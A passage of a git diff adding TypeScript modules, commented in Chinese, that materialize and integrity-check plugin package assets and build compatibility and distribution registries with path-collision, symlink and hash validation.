*/ + const entries: MaterializationEntry[] = []; + /** Unit 的 Platform owner 必须拥有所有 ref grant。 */ + const owner = `platform:${unit.platform}`; + for (const mapping of unit.assets) { + /** Unit path 在接触文件系统前通过完整路径策略。 */ + const safe = safeRelativePath(mapping.path); + /** collision key 折叠大小写和 NFC。 */ + const key = sourceCollisionKey(safe); + for (const [existingKey, existingPath] of paths) { + if (key === existingKey || key.startsWith(`${existingKey}/`) || existingKey.startsWith(`${key}/`)) + throw new TypeError(`Package Asset path "${safe}" collides with "${existingPath}".`); + } + paths.set(key, safe); + /** describe 复核 ref identity、Platform grant、BuildSession 与 issuer owner。 */ + const record = assets.describe(owner, mapping.asset); + if (record.owner !== mapping.owner) + throw new TypeError(`Package Asset owner mismatch at "${safe}".`); + entries.push(Object.freeze({ + path: safe, + asset: mapping.asset, + mode: record.mode, + size: record.size, + sha256: record.sha256, + })); + } + return Object.freeze(entries.sort((left, right) => compareCodePoints(left.path, right.path))); +} + +/** + * 把一个 Unit 的全部 AssetRef 写入一个新建空目录。 + * + * @param root 当前 Unit 独占物化根。 + * @param unit Package Unit snapshot。 + * @param assets 当前 Asset Registry。 + * @returns 后续完整性复核使用的稳定 entries。 + */ +async function materializeUnitRoot( + root: string, + unit: PackageUnitSnapshot, + assets: AssetRegistry, +): Promise { + /** preflight 必须先完整成功,不能写出部分不合法 Unit。 */ + const entries = preflightUnit(unit, assets); + /** 所有 Asset 读取都使用 Platform owner grant。 */ + const owner = `platform:${unit.platform}`; + await fs.mkdir(root, { recursive: true, mode: 0o700 }); + for (const entry of entries) { + /** safe POSIX segments 逐段交给宿主 path join。 */ + const destination = path.join(root, ...entry.path.split('/')); + await fs.mkdir(path.dirname(destination), { recursive: true, mode: 0o700 }); + /** materializationBytes 在每次落盘前重新执行来源 TOCTOU 校验。 */ + const bytes = await assets.materializationBytes(owner, entry.asset); + if (bytes.byteLength !== entry.size || hashBytes(bytes) !== entry.sha256) + throw new Error(`Package Asset changed before materialization: ${unit.platform}/${unit.id}/${entry.path}.`); + await fs.writeFile(destination, bytes, { flag: 'wx', mode: entry.mode }); + await fs.chmod(destination, entry.mode); + } + return entries; +} + +/** + * 递归收集物化树中的全部目录和普通文件,拒绝 symlink 与特殊文件。 + * + * @param root 当前 Unit 物化根。 + * @returns 工程无关的 POSIX 相对路径集合。 + */ +export async function scanPhysicalTree(root: string): Promise<{ + readonly files: readonly string[]; + readonly directories: readonly string[]; +}> { + /** root 自身也必须保持普通目录,不能被 validator 替换为 symlink。 */ + const rootStat = await fs.lstat(root); + if (rootStat.isSymbolicLink() || !rootStat.isDirectory()) + throw new Error('Materialized Package root must remain a regular directory.'); + /** 文件和目录分开比较,防止 validator 注入空目录。 */ + const files: string[] = []; + /** directory closure 包含所有显式和隐式目录。 */ + const directories: string[] = []; + /** 递归只沿 lstat 已证明的普通目录进入。 */ + const visit = async (relative: string): Promise => { + /** root 使用空 relative,后代按 POSIX segment 转宿主路径。 */ + const current = relative.length === 0 ? root : path.join(root, ...relative.split('/')); + /** readdir 结果显式按 code point 排序,消除文件系统顺序差异。 */ + const entries = (await fs.readdir(current, { withFileTypes: true })) + .sort((left, right) => compareCodePoints(left.name, right.name)); + for (const entry of entries) { + /** 文件系统名称也必须可无歧义表示为安全相对路径。 */ + const child = relative.length === 0 ? entry.name : `${relative}/${entry.name}`; + safeRelativePath(child); + /** child 的物理位置只由安全 segment 拼接。 */ + const physical = path.join(root, ...child.split('/')); + /** lstat 保证符号链接不会被跟随。 */ + const stat = await fs.lstat(physical); + if (stat.isSymbolicLink()) + throw new Error(`Materialized Package contains a symbolic link at "${child}".`); + if (stat.isDirectory()) { + directories.push(child); + await visit(child); + } else if (stat.isFile()) { + files.push(child); + } else { + throw new Error(`Materialized Package contains a special file at "${child}".`); + } + } + }; + await visit(''); + /** DFS 完成后全局排序,避免嵌套前序与 code-point 顺序不一致。 */ + files.sort(compareCodePoints); + directories.sort(compareCodePoints); + return Object.freeze({ files: Object.freeze(files), directories: Object.freeze(directories) }); +} + +/** @returns 期望文件路径隐含的完整目录集合。 */ +function expectedDirectories(files: readonly string[]): readonly string[] { + /** 多个文件共享目录时使用 Set 去重。 */ + const directories = new Set(); + for (const file of files) { + /** 每个文件逐级产生其父目录前缀。 */ + const segments = file.split('/'); + for (let length = 1; length < segments.length; length += 1) + directories.add(segments.slice(0, length).join('/')); + } + return Object.freeze([...directories].sort(compareCodePoints)); +} + +/** + * 复核 Unit 物化后的完整树、文件字节、权限和摘要。 + * + * @param root 当前 Unit 物化根。 + * @param unit Package Unit identity。 + * @param entries preflight 建立的完整性基准。 + */ +async function validateUnitRoot( + root: string, + unit: PackageUnitSnapshot, + entries: readonly MaterializationEntry[], +): Promise { + /** tree closure 同时拒绝额外文件和额外空目录。 */ + const tree = await scanPhysicalTree(root); + /** entries 本身已按 path 排序。 */ + const expectedFiles = entries.map(entry => entry.path); + if (JSON.stringify(tree.files) !== JSON.stringify(expectedFiles) + || JSON.stringify(tree.directories) !== JSON.stringify(expectedDirectories(expectedFiles))) { + throw new Error(`Materialized Package tree closure mismatch: ${unit.platform}/${unit.id}.`); + } + for (const entry of entries) { + /** 已通过 closure 的目标必然是普通文件且没有 symlink 祖先。 */ + const file = path.join(root, ...entry.path.split('/')); + /** mode 由 lstat 读取,不跟随最终 symlink。 */ + const stat = await fs.lstat(file); + /** bytes 用于独立复算 size/hash。 */ + const bytes = Uint8Array.from(await fs.readFile(file)); + if (bytes.byteLength !== entry.size || hashBytes(bytes) !== entry.sha256) + throw new Error(`Materialized Package integrity mismatch: ${unit.platform}/${unit.id}/${entry.path}.`); + if ((stat.mode & 0o777) !== entry.mode) + throw new Error(`Materialized Package mode mismatch: ${unit.platform}/${unit.id}/${entry.path}.`); + } +} + +/** + * 在 Core 临时目录建立一个只在 validator 窗口有效的 Package candidate。 + * + * @param unit 已冻结 Package Unit。 + * @param assets 当前 Asset Registry。 + * @param temporaryParent 可选受管临时父目录。 + * @returns 含 validate/cleanup 的候选句柄。 + */ +export async function materializePackageCandidate( + unit: PackageUnitSnapshot, + assets: AssetRegistry, + temporaryParent: string = os.tmpdir(), +): Promise { + await fs.mkdir(temporaryParent, { recursive: true, mode: 0o700 }); + /** mkdtemp 产生只属于当前 candidate 的物理根。 */ + const root = await fs.mkdtemp(path.join(temporaryParent, 'acplugin-candidate-')); + try { + /** candidate 创建时先完成一次全量物化。 */ + const entries = await materializeUnitRoot(root, unit, assets); + await validateUnitRoot(root, unit, entries); + /** cleaned 保证 validator 与错误路径可重复调用 cleanup。 */ + let cleaned = false; + return Object.freeze({ + candidate: Object.freeze({ root, unit }), + /** validate 不信任 Platform callback 返回后的磁盘状态。 */ + validate: () => validateUnitRoot(root, unit, entries), + /** cleanup 可由 finally 和调用方重复安全执行。 */ + cleanup: async () => { + if (cleaned) + return; + cleaned = true; + await fs.rm(root, { recursive: true, force: true }); + }, + }); + } catch (error) { + await fs.rm(root, { recursive: true, force: true }); + throw error; + } +} + +/** + * 执行 Platform validator 并在返回后复核 candidate 未被修改。 + * + * @param unit 当前 Package Unit。 + * @param assets 当前 Asset Registry。 + * @param validate Platform validator callback。 + * @param temporaryParent 可选受管 candidate 父目录。 + */ +export async function withPackageCandidate( + unit: PackageUnitSnapshot, + assets: AssetRegistry, + validate: (candidate: PackageCandidate) => void | Promise, + temporaryParent?: string, +): Promise { + /** candidate handle 的生命周期严格包围一次 validator 调用。 */ + const handle = await materializePackageCandidate(unit, assets, temporaryParent); + try { + await validate(handle.candidate); + await handle.validate(); + } finally { + await handle.cleanup(); + } +} + +/** + * 把全部 Package Unit 写入 `/` 两级 stage 布局。 + * + * @param root 新建 stage 根。 + * @param units 本轮 selected Package Units。 + * @param assets 当前 Asset Registry。 + * @returns 每个 Unit root 的完整性基准。 + */ +export async function materializePackageUnits( + root: string, + units: readonly PackageUnitSnapshot[], + assets: AssetRegistry, +): Promise> { + /** Unit roots 拒绝 Platform/ID 重复。 */ + const roots = new Map(); + await fs.mkdir(root, { recursive: true, mode: 0o700 }); + /** Unit 完成顺序不影响 stage 物化顺序。 */ + const ordered = [...units].sort((left, right) => compareCodePoints(left.platform, right.platform) || compareCodePoints(left.id, right.id)); + for (const unit of ordered) { + /** 两级 root 只来自已验证 lowercase-kebab identities。 */ + const key = `${unit.platform}/${unit.id}`; + if (roots.has(key)) + throw new TypeError(`Duplicate Package Unit "${key}".`); + /** Unit 物理 root 固定为 `/`。 */ + const directory = path.join(root, unit.platform, unit.id); + roots.set(key, await materializeUnitRoot(directory, unit, assets)); + } + return roots; +} + +/** + * 复核已由 materializePackageUnits 写出的完整 selected Unit 集合。 + * + * @param root stage 根。 + * @param units 当前 selected Units。 + * @param entries 物化时建立的每 Unit 基准。 + */ +export async function validatePackageUnits( + root: string, + units: readonly PackageUnitSnapshot[], + entries: ReadonlyMap, +): Promise { + for (const unit of units) { + /** 每个 Unit 必须存在对应 preflight 基准。 */ + const key = `${unit.platform}/${unit.id}`; + /** materialization baseline 不能由 validator 或 transaction 补造。 */ + const expected = entries.get(key); + if (expected === undefined) + throw new Error(`Package Unit materialization baseline is missing: ${key}.`); + await validateUnitRoot(path.join(root, unit.platform, unit.id), unit, expected); + } +} diff --git a/packages/core/src/package/compatibility-registry.ts b/packages/core/src/package/compatibility-registry.ts new file mode 100644 index 0000000..fb9c5ac --- /dev/null +++ b/packages/core/src/package/compatibility-registry.ts @@ -0,0 +1,384 @@ +import type { + CanonicalProject, + CompatibilityEntry, + CompatibilityInput, + CompatibilityLevel, + MetadataDispositionEntry, + MetadataDispositionInput, + PluginMetadata, +} from '../kernel-types.js'; +import { DiagnosticRegistry } from '../kernel/diagnostic-registry.js'; +import { compareCodePoints, safeRelativePath } from '../kernel/path-policy.js'; +import { sanitizeStableText } from '../kernel/report-safety.js'; +import { snapshotJson } from './json-snapshot.js'; + +/** subject/capability/field/transformation/cause 使用的稳定结构化身份。 */ +const STABLE_REFERENCE = /^[a-z0-9]+(?:[-.:/][a-z0-9]+)*$/u; + +/** cause 使用的 `(subject)#(capability)` tuple key。 */ +const TUPLE_REFERENCE = /^[a-z0-9]+(?:[-.:/][a-z0-9]+)*#[a-z0-9]+(?:[-.:/][a-z0-9]+)*$/u; + +/** 规范 metadata 字段保留 camelCase,并可用点号表达 author 子字段。 */ +const METADATA_FIELD = /^[A-Za-z][A-Za-z0-9]*(?:\.[A-Za-z][A-Za-z0-9]*)*$/u; + +/** 兼容性等级从最好到最差的传播顺序。 */ +const LEVEL_WEIGHT: Readonly> = Object.freeze({ + native: 0, + transform: 1, + degraded: 2, + unsupported: 3, +}); + +/** @returns `(subject, capability)` 的无歧义稳定 cause key。 */ +export function compatibilityTupleKey(subject: string, capability: string): string { + return `${subject}#${capability}`; +} + +/** @returns 当前 tuple entry 的稳定 cause key。 */ +function entryKey(entry: Pick): string { + return compatibilityTupleKey(entry.subject, entry.capability); +} + +/** + * 验证稳定的单行人类说明。 + * + * @param value 未受信任 reason。 + * @param label 字段标签。 + * @returns 原始说明文本。 + */ +function reason(value: unknown, label: string): string { + if (typeof value !== 'string' || value.length === 0) + throw new TypeError(`${label} must be a non-empty stable single-line string.`); + /** Compatibility/metadata reason 与 diagnostics 共用报告安全边界。 */ + const safe = sanitizeStableText(value); + if (safe.length === 0) + throw new TypeError(`${label} must not become empty after sanitization.`); + return safe; +} + +/** + * 验证不承载任意日志文本的稳定身份。 + * + * @param value 未知结构化引用。 + * @param label 字段标签。 + * @returns 合法原始文本。 + */ +function stableReference(value: unknown, label: string): string { + if (typeof value !== 'string' || !STABLE_REFERENCE.test(value)) + throw new TypeError(`${label} must be a stable lowercase reference.`); + return value; +} + +/** @returns 已验证且不承载路径语义的规范 metadata 字段。 */ +function metadataField(value: unknown): string { + if (typeof value !== 'string' || !METADATA_FIELD.test(value)) + throw new TypeError('Metadata field must be a stable field reference.'); + return value; +} + +/** @returns compatibility cause 是否为稳定 tuple key。 */ +function tupleReference(value: unknown): string { + if (typeof value !== 'string' || !TUPLE_REFERENCE.test(value)) + throw new TypeError('Compatibility cause must be a stable subject#capability tuple key.'); + return value; +} + +/** + * 复制并验证单条 Platform 兼容性输入。 + * + * @param platform Core 绑定的平台 ID。 + * @param input Integration 返回的输入。 + * @returns 绑定 Platform 且深度冻结的条目。 + */ +export function snapshotCompatibility(platform: string, input: CompatibilityInput): CompatibilityEntry { + /** 首先建立无行为 JSON snapshot,后续不再读取原始输入。 */ + const value = snapshotJson(input, 'Compatibility input'); + if (typeof value !== 'object' || value === null || Array.isArray(value)) + throw new TypeError('Compatibility input must be an object.'); + /** 未知字段不能隐式进入 report schema。 */ + const allowed = new Set(['subject', 'capability', 'level', 'transformation', 'reason', 'causes']); + if (Object.keys(value).some(field => !allowed.has(field))) + throw new TypeError('Compatibility input contains unknown fields.'); + /** 严格 JSON snapshot 已移除 getter、class、Symbol、cycle 与调用方 mutation。 */ + const snapshot = value as unknown as CompatibilityInput; + if (!Object.hasOwn(LEVEL_WEIGHT, snapshot.level)) + throw new TypeError('Compatibility level is invalid.'); + /** causes 按结构化 tuple key 排序并拒绝重复。 */ + const causes = snapshot.causes?.map(tupleReference).sort(compareCodePoints); + if (causes !== undefined && new Set(causes).size !== causes.length) + throw new TypeError('Compatibility causes must not contain duplicates.'); + return Object.freeze({ + platform: stableReference(platform, 'Platform'), + subject: stableReference(snapshot.subject, 'Compatibility subject'), + capability: stableReference(snapshot.capability, 'Compatibility capability'), + level: snapshot.level, + ...(snapshot.transformation === undefined ? {} : { transformation: stableReference(snapshot.transformation, 'Compatibility transformation') }), + reason: reason(snapshot.reason, 'Compatibility reason'), + ...(causes === undefined ? {} : { causes: Object.freeze(causes) }), + }); +} + +/** + * 复制并验证一条 metadata disposition。 + * + * @param platform Core 绑定的平台 ID。 + * @param input Platform 返回的输入。 + * @returns 绑定 Platform 且冻结的条目。 + */ +export function snapshotMetadata(platform: string, input: MetadataDispositionInput): MetadataDispositionEntry { + /** 首先建立无行为 JSON snapshot,后续不再读取原始输入。 */ + const value = snapshotJson(input, 'Metadata disposition'); + if (typeof value !== 'object' || value === null || Array.isArray(value)) + throw new TypeError('Metadata disposition must be an object.'); + /** disposition 只接受固定 report schema 字段。 */ + const allowed = new Set(['field', 'disposition', 'output', 'reason']); + if (Object.keys(value).some(field => !allowed.has(field))) + throw new TypeError('Metadata disposition contains unknown fields.'); + /** 后续字段只从无行为 JSON snapshot 读取。 */ + const snapshot = value as unknown as MetadataDispositionInput; + if (snapshot.disposition !== 'emitted' && snapshot.disposition !== 'omitted') + throw new TypeError('Metadata disposition is invalid.'); + /** output 可表达 package path 或稳定 Document field path。 */ + let output: string | undefined; + if (snapshot.output !== undefined) { + if (typeof snapshot.output !== 'string' || snapshot.output.length === 0 + || !/^[A-Za-z0-9@+._-]+(?:\/[A-Za-z0-9@+._-]+)*$/u.test(snapshot.output)) { + throw new TypeError('Metadata output must be a stable package path or field path.'); + } + safeRelativePath(snapshot.output); + output = snapshot.output; + } + return Object.freeze({ + platform: stableReference(platform, 'Platform'), + field: metadataField(snapshot.field), + disposition: snapshot.disposition, + ...(output === undefined ? {} : { output }), + reason: reason(snapshot.reason, 'Metadata reason'), + }); +} + +/** @returns 当前工程实际出现且必须被 Platform disposition 覆盖的 metadata 字段。 */ +export function metadataFields(metadata: PluginMetadata): readonly string[] { + /** 三个规范必填字段始终进入覆盖集合。 */ + const fields = ['name', 'version', 'description']; + for (const field of ['displayName', 'homepage', 'repository', 'license'] as const) { + if (metadata[field] !== undefined) + fields.push(field); + } + if (metadata.author !== undefined) { + fields.push('author.name'); + if (metadata.author.email !== undefined) + fields.push('author.email'); + if (metadata.author.url !== undefined) + fields.push('author.url'); + } + if (metadata.keywords.length > 0) + fields.push('keywords'); + return Object.freeze(fields.sort(compareCodePoints)); +} + +/** Component dependency 传播所需的稳定有向边。 */ +interface CompatibilityDependency { + readonly consumer: string; + readonly dependency: string; +} + +/** @returns Canonical Project 的 Component dependency edges。 */ +function componentDependencies(project: CanonicalProject): readonly CompatibilityDependency[] { + /** 三类 Component 统一为 subject identity。 */ + const components = [...project.commands, ...project.skills, ...project.agents]; + /** dependency edge 在返回前统一排序。 */ + const result: CompatibilityDependency[] = []; + for (const component of components) { + /** consumer 使用 canonical kind/id 组成稳定 subject。 */ + const consumer = `${component.kind}:${component.id}`; + for (const id of component.requires.skills) + result.push(Object.freeze({ consumer, dependency: `skill:${id}` })); + for (const id of component.requires.agents) + result.push(Object.freeze({ consumer, dependency: `agent:${id}` })); + } + return Object.freeze(result.sort((left, right) => compareCodePoints(left.consumer, right.consumer) + || compareCodePoints(left.dependency, right.dependency))); +} + +/** BuildSession 中集中执行覆盖、传播与最终 strictness 的兼容性 Registry。 */ +export class CompatibilityRegistry { + /** 当前 Project 用于 Component/metadata 完整覆盖。 */ + readonly #project: CanonicalProject; + /** 最终诊断出口。 */ + readonly #diagnostics: DiagnosticRegistry; + /** tuple key 到兼容性条目。 */ + readonly #compatibility = new Map(); + /** platform+field 到 metadata 条目。 */ + readonly #metadata = new Map(); + + /** @param options 当前 Canonical Project 与统一诊断。 */ + constructor(options: { readonly project: CanonicalProject; readonly diagnostics: DiagnosticRegistry }) { + this.#project = options.project; + this.#diagnostics = options.diagnostics; + } + + /** + * 为一个 Platform 加入已验证 base/contribution compatibility。 + * + * @param platform Platform ID。 + * @param inputs 任意完成顺序的输入集合。 + */ + addCompatibility(platform: string, inputs: readonly CompatibilityInput[]): void { + for (const input of inputs) { + /** 每条输入独立 snapshot 后才建立 tuple key。 */ + const entry = snapshotCompatibility(platform, input); + /** Platform 与 tuple 共同组成 Registry 唯一键。 */ + const key = `${platform}:${entryKey(entry)}`; + if (this.#compatibility.has(key)) + throw new TypeError(`Compatibility tuple "${key}" is duplicated.`); + this.#compatibility.set(key, entry); + } + } + + /** + * 为一个 Platform 加入 metadata dispositions。 + * + * @param platform Platform ID。 + * @param inputs Platform base metadata 结论。 + */ + addMetadata(platform: string, inputs: readonly MetadataDispositionInput[]): void { + for (const input of inputs) { + /** 每条 disposition 独立 snapshot 后才建立字段键。 */ + const entry = snapshotMetadata(platform, input); + /** Platform 与 metadata field 共同组成 Registry 唯一键。 */ + const key = `${platform}:${entry.field}`; + if (this.#metadata.has(key)) + throw new TypeError(`Metadata disposition "${key}" is duplicated.`); + this.#metadata.set(key, entry); + } + } + + /** + * 验证覆盖、cause graph 和依赖传播,并执行一次最终 strictness。 + * + * @param platforms 选中 Platform 与最终 strict 标记。 + * @returns 排序、冻结的兼容性和 metadata 报告集合。 + */ + finalize(platforms: readonly { readonly id: string; readonly strict: boolean }[]): { + readonly compatibility: readonly CompatibilityEntry[]; + readonly metadata: readonly MetadataDispositionEntry[]; + } { + /** 组件 subject 必须在每个平台恰好拥有 component tuple。 */ + const componentSubjects = [...this.#project.commands, ...this.#project.skills, ...this.#project.agents] + .map(component => `${component.kind}:${component.id}`) + .sort(compareCodePoints); + /** metadata 只覆盖当前配置实际出现的字段。 */ + const expectedMetadata = metadataFields(this.#project.metadata); + for (const platform of [...platforms].sort((left, right) => compareCodePoints(left.id, right.id))) { + for (const subject of componentSubjects) { + if (!this.#compatibility.has(`${platform.id}:${compatibilityTupleKey(subject, 'component')}`)) { + this.#diagnostics.report('compatibility', { + code: 'COMPATIBILITY_COMPONENT_MISSING', severity: 'error', message: `Platform "${platform.id}" did not report component compatibility for "${subject}".`, + }, { platform: platform.id }); + } + } + /** 当前 Platform 实际提交的 metadata 字段集合。 */ + const actualFields = [...this.#metadata.values()].filter(entry => entry.platform === platform.id).map(entry => entry.field); + for (const field of expectedMetadata) { + if (!actualFields.includes(field)) { + this.#diagnostics.report('compatibility', { + code: 'METADATA_DISPOSITION_MISSING', severity: 'error', message: `Platform "${platform.id}" did not report metadata field "${field}".`, + }, { platform: platform.id }); + } + } + for (const field of actualFields) { + if (!expectedMetadata.includes(field)) { + this.#diagnostics.report('compatibility', { + code: 'METADATA_DISPOSITION_UNUSED', severity: 'error', message: `Platform "${platform.id}" reported absent metadata field "${field}".`, + }, { platform: platform.id }); + } + } + } + /** cause refs 必须存在于同一 Platform 且形成无环图。 */ + for (const entry of this.#compatibility.values()) { + /** self 用于拒绝显式自引用。 */ + const self = entryKey(entry); + for (const cause of entry.causes ?? []) { + if (cause === self || !this.#compatibility.has(`${entry.platform}:${cause}`)) + throw new TypeError(`Compatibility cause "${cause}" is missing or self-referential.`); + } + } + /** 对每个平台的显式 cause graph 执行 DFS 循环检测。 */ + for (const platform of platforms) { + /** 当前平台 tuple key 到条目的局部索引。 */ + const entries = new Map([...this.#compatibility.values()] + .filter(entry => entry.platform === platform.id) + .map(entry => [entryKey(entry), entry])); + /** visiting/visited 分别表示 DFS 灰色和黑色节点。 */ + const visiting = new Set(); + /** 已完全验证的黑色节点无需重复遍历。 */ + const visited = new Set(); + /** 单节点 cause DFS。 */ + const visit = (key: string): void => { + if (visiting.has(key)) + throw new TypeError(`Compatibility causes contain a cycle at "${key}".`); + if (visited.has(key)) + return; + visiting.add(key); + for (const cause of entries.get(key)?.causes ?? []) + visit(cause); + visiting.delete(key); + visited.add(key); + }; + for (const key of [...entries.keys()].sort(compareCodePoints)) + visit(key); + } + /** Component dependency 只传播 component capability 的最差等级。 */ + const dependencies = componentDependencies(this.#project); + /** fixed-point 标记传播是否仍产生更差等级。 */ + let changed = true; + while (changed) { + changed = false; + for (const platform of platforms) { + for (const edge of dependencies) { + /** consumer tuple 定位当前 Platform 的依赖方。 */ + const consumerKey = `${platform.id}:${compatibilityTupleKey(edge.consumer, 'component')}`; + /** dependency tuple 定位当前 Platform 的被依赖方。 */ + const dependencyKey = `${platform.id}:${compatibilityTupleKey(edge.dependency, 'component')}`; + /** consumer 缺失由覆盖诊断负责,不在传播阶段合成。 */ + const consumer = this.#compatibility.get(consumerKey); + /** dependency 缺失同样不产生虚假传播条目。 */ + const dependency = this.#compatibility.get(dependencyKey); + if (consumer === undefined || dependency === undefined || LEVEL_WEIGHT[dependency.level] <= LEVEL_WEIGHT[consumer.level]) + continue; + /** 派生条目保留 consumer tuple 并加入依赖 cause。 */ + const cause = compatibilityTupleKey(edge.dependency, 'component'); + /** cause 集合去重排序后形成下一轮传播输入。 */ + const causes = [...new Set([...(consumer.causes ?? []), cause])].sort(compareCodePoints); + this.#compatibility.set(consumerKey, Object.freeze({ + ...consumer, + level: dependency.level, + reason: `Dependency "${edge.dependency}" has ${dependency.level} compatibility.`, + causes: Object.freeze(causes), + })); + changed = true; + } + } + } + /** strict enforcement 只观察最终传播完成的图。 */ + for (const platform of platforms) { + for (const entry of this.#compatibility.values()) { + if (entry.platform !== platform.id || (entry.level !== 'degraded' && entry.level !== 'unsupported')) + continue; + this.#diagnostics.report('compatibility', { + code: platform.strict ? 'COMPATIBILITY_STRICT_FAILURE' : 'COMPATIBILITY_RELAXED', + severity: platform.strict ? 'error' : 'warning', + message: `Platform "${platform.id}" reports ${entry.level} for ${entry.subject}/${entry.capability}.`, + }, { platform: platform.id }); + } + } + /** 最终数组使用明确 tuple 键排序。 */ + const compatibility = [...this.#compatibility.values()].sort((left, right) => compareCodePoints(left.platform, right.platform) + || compareCodePoints(left.subject, right.subject) || compareCodePoints(left.capability, right.capability)); + /** metadata 报告按 Platform/field 固定排序。 */ + const metadata = [...this.#metadata.values()].sort((left, right) => compareCodePoints(left.platform, right.platform) + || compareCodePoints(left.field, right.field)); + return Object.freeze({ compatibility: Object.freeze(compatibility), metadata: Object.freeze(metadata) }); + } +} diff --git a/packages/core/src/package/distribution-registry.ts b/packages/core/src/package/distribution-registry.ts new file mode 100644 index 0000000..d434887 --- /dev/null +++ b/packages/core/src/package/distribution-registry.ts @@ -0,0 +1,150 @@ +import type { + AssetRef, + AssetService, + DistributionPackageInput, + PackageAssetInput, + PackageAssetSnapshot, + PackageUnitSnapshot, +} from '../kernel-types.js'; +import { AssetRegistry } from '../kernel/asset-registry.js'; +import { dataArrayItems, dataObjectFields } from '../kernel/data-boundary.js'; +import { compareCodePoints, safeRelativePath, sourceCollisionKey } from '../kernel/path-policy.js'; + +/** Distribution 和 Platform ID 共用的 lowercase-kebab 规则。 */ +const STABLE_ID = /^[a-z0-9]+(?:-[a-z0-9]+)*$/u; + +/** @returns 已验证的 Platform 或 Distribution ID。 */ +function stableId(value: unknown, label: string): string { + if (typeof value !== 'string' || !STABLE_ID.test(value)) + throw new TypeError(`${label} must use lowercase kebab-case.`); + return value; +} + +/** + * 在一个 Distribution 中登记路径并拒绝 exact/case/NFC/prefix 冲突。 + * + * @param paths 当前 Distribution 路径闭包。 + * @param value 新路径候选。 + * @returns 安全 package-relative 路径。 + */ +function reservePath(paths: Map, value: unknown): string { + /** 路径语法验证不会静默 normalize Integration 输入。 */ + const safe = safeRelativePath(value); + /** 最严格目标文件系统使用的 collision key。 */ + const key = sourceCollisionKey(safe); + for (const [reservedKey, reservedPath] of paths) { + if (key === reservedKey || key.startsWith(`${reservedKey}/`) || reservedKey.startsWith(`${key}/`)) + throw new TypeError(`Distribution path "${safe}" collides with "${reservedPath}".`); + } + paths.set(key, safe); + return safe; +} + +/** + * 从已验证 primary 和当前 callback 新签发 ref 建立 Distribution Unit。 + * + * @param options Platform、primary、Distribution 输入与授权 Registry。 + * @returns 保留 inherited owner/mode/hash/origin 的 frozen Unit。 + */ +export function createDistributionPackage(options: { + readonly platform: string; + readonly primary: PackageUnitSnapshot; + readonly input: DistributionPackageInput; + readonly assets: AssetRegistry; + readonly issued: (asset: AssetRef) => boolean; +}): PackageUnitSnapshot { + /** 当前 Platform identity 同时约束 primary 和最终 Unit。 */ + const platform = stableId(options.platform, 'Platform id'); + if (options.primary.platform !== platform || options.primary.role !== 'primary') + throw new TypeError('Distribution primary must be the current Platform validated primary Unit.'); + /** Distribution 输入只有 id/type/assets 三个字段。 */ + const fields = dataObjectFields(options.input, new Set(['id', 'type', 'assets']), 'Distribution Package'); + /** Distribution ID 决定最终两级输出 root。 */ + const id = stableId(fields.id?.value, 'Distribution Package id'); + if (fields.type?.value !== 'marketplace') + throw new TypeError('Distribution Package type must be marketplace.'); + /** primary Unit ID 与 Distribution ID 共用目标 Platform namespace。 */ + if (id === options.primary.id) + throw new TypeError('Distribution Package id must differ from the primary Package id.'); + /** 只接受稠密的显式 asset mappings。 */ + const inputs = dataArrayItems(fields.assets?.value, 'Distribution Package assets') as readonly PackageAssetInput[]; + /** primaryRef identity 到继承 snapshot,不能按可伪造公开字段匹配。 */ + const inherited = new Map(); + for (const asset of options.primary.assets) + inherited.set(asset.asset, asset); + /** 所有输出 path 在 Distribution 内共享完整冲突域。 */ + const paths = new Map(); + /** snapshots 保留 inherited issuer owner。 */ + const snapshots: PackageAssetSnapshot[] = []; + /** 新签发 ref 必须属于当前 Platform owner。 */ + const owner = `platform:${platform}`; + for (const [index, input] of inputs.entries()) { + /** 单个 mapping 不允许隐藏来源或 serializer 字段。 */ + const mapping = dataObjectFields(input, new Set(['path', 'asset']), `Distribution Package assets[${index}]`); + /** path 与 ref 分别从已验证 descriptor 读取。 */ + const outputPath = reservePath(paths, mapping.path?.value); + /** AssetRef 真实性只由后续 identity lookup 判断。 */ + const asset = mapping.asset?.value as AssetRef; + /** inherited ref 可以重映射路径,但必须来自当前 primary 原始 identity。 */ + const primary = inherited.get(asset); + if (primary !== undefined) { + options.assets.describe(owner, asset); + snapshots.push(Object.freeze({ path: outputPath, owner: primary.owner, asset })); + continue; + } + /** 新增 ref 必须由当前 createDistributions callback scope 新签发。 */ + if (!options.issued(asset)) + throw new TypeError('Distribution Asset must be inherited from primary or issued during the current callback.'); + /** issued scope 通过后仍复核 Registry owner/session。 */ + const record = options.assets.describe(owner, asset); + if (record.owner !== owner) + throw new TypeError('Distribution callback additions must be issued by the current Platform.'); + snapshots.push(Object.freeze({ path: outputPath, owner, asset })); + } + return Object.freeze({ + platform, + id, + type: 'marketplace', + role: 'distribution', + assets: Object.freeze(snapshots.sort((left, right) => compareCodePoints(left.path, right.path))), + compatibility: options.primary.compatibility, + metadata: options.primary.metadata, + }); +} + +/** + * 在 Core 管理的一次性 Asset scope 内运行 Platform Distribution callback。 + * + * @param options 当前 Platform、validated primary、Registry 与 callback。 + * @returns ID 唯一、稳定排序的 Distribution Units。 + */ +export async function collectDistributionPackages(options: { + readonly platform: string; + readonly primary: PackageUnitSnapshot; + readonly assets: AssetRegistry; + readonly create: (assets: AssetService) => readonly DistributionPackageInput[] | Promise; +}): Promise { + /** callback 只在 issuance scope active 期间获得 AssetService。 */ + const scope = options.assets.issuanceScope(`platform:${stableId(options.platform, 'Platform id')}`); + /** outputs 在 finally 关闭 scope 前由 callback 完整返回。 */ + let outputs: readonly DistributionPackageInput[]; + try { + outputs = await options.create(scope.service); + } finally { + scope.close(); + } + /** callback 返回数组也必须是稠密 data array。 */ + const inputs = dataArrayItems(outputs, 'Distribution Packages') as readonly DistributionPackageInput[]; + /** 每个 output 独立通过 Distribution Registry 授权和路径校验。 */ + const units = inputs.map(input => createDistributionPackage({ + platform: options.platform, + primary: options.primary, + input, + assets: options.assets, + issued: scope.includes, + })); + /** 当前 Platform primary/distribution namespace 内的 Unit ID 必须唯一。 */ + if (new Set(units.map(unit => unit.id)).size !== units.length) + throw new TypeError('Distribution Package ids must be unique.'); + return Object.freeze(units.sort((left, right) => compareCodePoints(left.id, right.id))); +} diff --git a/packages/core/src/package/document-codec.ts b/packages/core/src/package/document-codec.ts new file mode 100644 index 0000000..27cd40b --- /dev/null +++ b/packages/core/src/package/document-codec.ts @@ -0,0 +1,82 @@ +import { stringify as stringifyToml } from '@iarna/toml'; +import { stringify as stringifyYaml } from 'yaml'; +import type { JsonObject, JsonValue, PackageDocumentSnapshot } from '../kernel-types.js'; 